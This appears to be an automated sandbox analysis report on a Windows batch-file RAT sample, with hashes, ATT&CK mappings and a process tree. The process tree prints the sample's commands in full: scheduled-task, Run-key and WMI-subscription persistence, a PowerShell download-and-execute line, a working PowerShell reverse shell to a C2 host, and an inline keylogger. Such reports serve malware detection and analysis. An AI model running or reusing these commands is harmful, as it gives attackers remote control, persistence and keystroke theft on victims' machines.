93edd50def26fa3dc2ca7c3960382802e0f7ab60e014219cd7a089c2c7eed169

Analysis

max time kernel
149s
max time network
99s
platform
windows11-21h2_x64
resource
win11-20260513-en
resource tags

arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
29/05/2026, 22:22

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General

Target
rat_build_56593_014221.bat
Size 4KB
Sample260529-2af7dacy4q
SHA256 93edd50def26fa3dc2ca7c3960382802e0f7ab60e014219cd7a089c2c7eed169
MD5 e35bccdca33d01aa844baf4aa45794d6
SHA1 924e4ad069ff48640595aae15d431b629de6c7a9
SHA512 d365384b02755857f8c2d05a83247c6536cf4d861cadaf23b468cad3042123c71b1648b29519a124461ae51651485a0e2866c7d2152273603b5abbf0ca68578d
SSDEEP 96:PJIDAWUK4FT14JAJ1sdK4B0Np+sep8CyQ8edtCQog32FdAiFgZk8mvlo15t:BmUK4j4pGxBQo+iFgkHl4t
TLSH
T119A12A275BA6B660C9F45618DD323C14576CF6FB1305C89DBB488EE0198DB03921DAE7
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

execution persistence

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://payload.server/update_56593.ps1

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
5756	powershell.exe
4032	powershell.exe
5540	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1768642833-2142038154-4041560723-1000\Software\Microsoft\Windows\CurrentVersion\Run\Updater_56593 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\_56593.bat"	reg.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
1	checkip.amazonaws.com

Gathers network information 2 TTPs 1 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
5504	NETSTAT.EXE

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
6136	systeminfo.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
2452	reg.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
2228	schtasks.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
5756	powershell.exe
5756	powershell.exe
4032	powershell.exe
4032	powershell.exe
5540	powershell.exe
5540	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	4272	WMIC.exe
Token: SeSecurityPrivilege	4272	WMIC.exe
Token: SeTakeOwnershipPrivilege	4272	WMIC.exe
Token: SeLoadDriverPrivilege	4272	WMIC.exe
Token: SeSystemProfilePrivilege	4272	WMIC.exe
Token: SeSystemtimePrivilege	4272	WMIC.exe
Token: SeProfSingleProcessPrivilege	4272	WMIC.exe
Token: SeIncBasePriorityPrivilege	4272	WMIC.exe
Token: SeCreatePagefilePrivilege	4272	WMIC.exe
Token: SeBackupPrivilege	4272	WMIC.exe
Token: SeRestorePrivilege	4272	WMIC.exe
Token: SeShutdownPrivilege	4272	WMIC.exe
Token: SeDebugPrivilege	4272	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4272	WMIC.exe
Token: SeRemoteShutdownPrivilege	4272	WMIC.exe
Token: SeUndockPrivilege	4272	WMIC.exe
Token: SeManageVolumePrivilege	4272	WMIC.exe
Token: 33	4272	WMIC.exe
Token: 34	4272	WMIC.exe
Token: 35	4272	WMIC.exe
Token: 36	4272	WMIC.exe
Token: SeIncreaseQuotaPrivilege	4272	WMIC.exe
Token: SeSecurityPrivilege	4272	WMIC.exe
Token: SeTakeOwnershipPrivilege	4272	WMIC.exe
Token: SeLoadDriverPrivilege	4272	WMIC.exe
Token: SeSystemProfilePrivilege	4272	WMIC.exe
Token: SeSystemtimePrivilege	4272	WMIC.exe
Token: SeProfSingleProcessPrivilege	4272	WMIC.exe
Token: SeIncBasePriorityPrivilege	4272	WMIC.exe
Token: SeCreatePagefilePrivilege	4272	WMIC.exe
Token: SeBackupPrivilege	4272	WMIC.exe
Token: SeRestorePrivilege	4272	WMIC.exe
Token: SeShutdownPrivilege	4272	WMIC.exe
Token: SeDebugPrivilege	4272	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4272	WMIC.exe
Token: SeRemoteShutdownPrivilege	4272	WMIC.exe
Token: SeUndockPrivilege	4272	WMIC.exe
Token: SeManageVolumePrivilege	4272	WMIC.exe
Token: 33	4272	WMIC.exe
Token: 34	4272	WMIC.exe
Token: 35	4272	WMIC.exe
Token: 36	4272	WMIC.exe
Token: SeIncreaseQuotaPrivilege	892	WMIC.exe
Token: SeSecurityPrivilege	892	WMIC.exe
Token: SeTakeOwnershipPrivilege	892	WMIC.exe
Token: SeLoadDriverPrivilege	892	WMIC.exe
Token: SeSystemProfilePrivilege	892	WMIC.exe
Token: SeSystemtimePrivilege	892	WMIC.exe
Token: SeProfSingleProcessPrivilege	892	WMIC.exe
Token: SeIncBasePriorityPrivilege	892	WMIC.exe
Token: SeCreatePagefilePrivilege	892	WMIC.exe
Token: SeBackupPrivilege	892	WMIC.exe
Token: SeRestorePrivilege	892	WMIC.exe
Token: SeShutdownPrivilege	892	WMIC.exe
Token: SeDebugPrivilege	892	WMIC.exe
Token: SeSystemEnvironmentPrivilege	892	WMIC.exe
Token: SeRemoteShutdownPrivilege	892	WMIC.exe
Token: SeUndockPrivilege	892	WMIC.exe
Token: SeManageVolumePrivilege	892	WMIC.exe
Token: 33	892	WMIC.exe
Token: 34	892	WMIC.exe
Token: 35	892	WMIC.exe
Token: 36	892	WMIC.exe
Token: SeIncreaseQuotaPrivilege	892	WMIC.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 4692 wrote to memory of 2228	4692	cmd.exe	81
PID 4692 wrote to memory of 2452	4692	cmd.exe	82
PID 4692 wrote to memory of 4272	4692	cmd.exe	83
PID 4692 wrote to memory of 892	4692	cmd.exe	84
PID 4692 wrote to memory of 5760	4692	cmd.exe	85
PID 4692 wrote to memory of 6136	4692	cmd.exe	86
PID 4692 wrote to memory of 5504	4692	cmd.exe	90
PID 4692 wrote to memory of 5756	4692	cmd.exe	91
PID 4692 wrote to memory of 4032	4692	cmd.exe	92
PID 4692 wrote to memory of 5540	4692	cmd.exe	93

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\rat_build_56593_014221.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:4692
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn "WinUpdate_56593" /tr "C:\Users\Admin\AppData\Local\Temp\_56593.bat" /sc onlogon /ru "SYSTEM" /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:2228
- C:\Windows\system32\reg.exe
  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "Updater_56593" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\_56593.bat" /f
  2⤵
  - Adds Run key to start application
  - Modifies registry key
  PID:2452
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="filt_56593", EventNameSpace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='explorer.exe'"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4272
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="cons_56593", CommandLineTemplate="cmd /c C:\Users\Admin\AppData\Local\Temp\_56593.bat"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:892
- C:\Windows\system32\curl.exe
  curl -s http://checkip.amazonaws.com -o C:\Users\Admin\AppData\Local\Temp\ip_56593.txt
  2⤵
  PID:5760
- C:\Windows\system32\systeminfo.exe
  systeminfo
  2⤵
  - Gathers system information
  PID:6136
- C:\Windows\system32\NETSTAT.EXE
  netstat -an
  2⤵
  - Gathers network information
  PID:5504
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "IEX((New-Object Net.WebClient).DownloadString('http://payload.server/update_56593.ps1'))"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:5756
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$client = New-Object System.Net.Sockets.TCPClient('c2.server.com',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:4032
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$w=(New-Object -ComObject WScript.Shell).Popup("Updating...",0,"Windows",0+48);$k=New-Object -ComObject WScript.Shell;$k.Run("powershell -WindowStyle Hidden -Command "$d=[Environment]::GetFolderPath('Desktop');$i=0;while($true){$key=[Console]::ReadKey($true);$t=$key.Key.ToString();if($t -eq 'Enter'){$t='[ENTER]'};Add-Content -Path $d\log.txt -Value $t}"),0,true"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:5540

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 d69b7d84970cb04cd069299fd8aa9cef8394999588bead979104dc3cb743b4f2
MD5 5f4c933102a824f41e258078e34165a7
SHA1 d2f9e997b2465d3ae7d91dad8d99b77a2332b6ee
SHA512 a7556b2be1a69dbc1f7ff4c1c25581a28cb885c7e1116632c535fee5facaa99067bcead8f02499980f1d999810157d0fc2f9e45c200dee7d379907ef98a6f034
TLSH
T15651CF323375B1D489163F07192C59C463BF8355FA94AF4CB698624ED92700B9F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 3d39580dca81c1baf00f4a818531c1bf44984e93e331c4fc233f0cd803c0be13
MD5 d671b0247b9b395e9ac55458c40baf79
SHA1 ec72601b97e875c42a147d563fcf90c6c0a08147
SHA512 f8d879d6984abac47fbbcb2cf81aed30202f623b78cf89348b81644c7751d79c8083428c50379e0a4861a99ec689be355616ffafcd2da13905fe49bea6f8d054
TLSH
T149117633B79CC135C8E9117A108DAD11B2B5C3CB04AEDE8B7A84C508E57F98ADBA41E4
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_xm5hkhmm.l4h.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_xm5hkhmm.l4h.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/5756-8-0x000001F13D780000-0x000001F13D7A2000-memory.dmp

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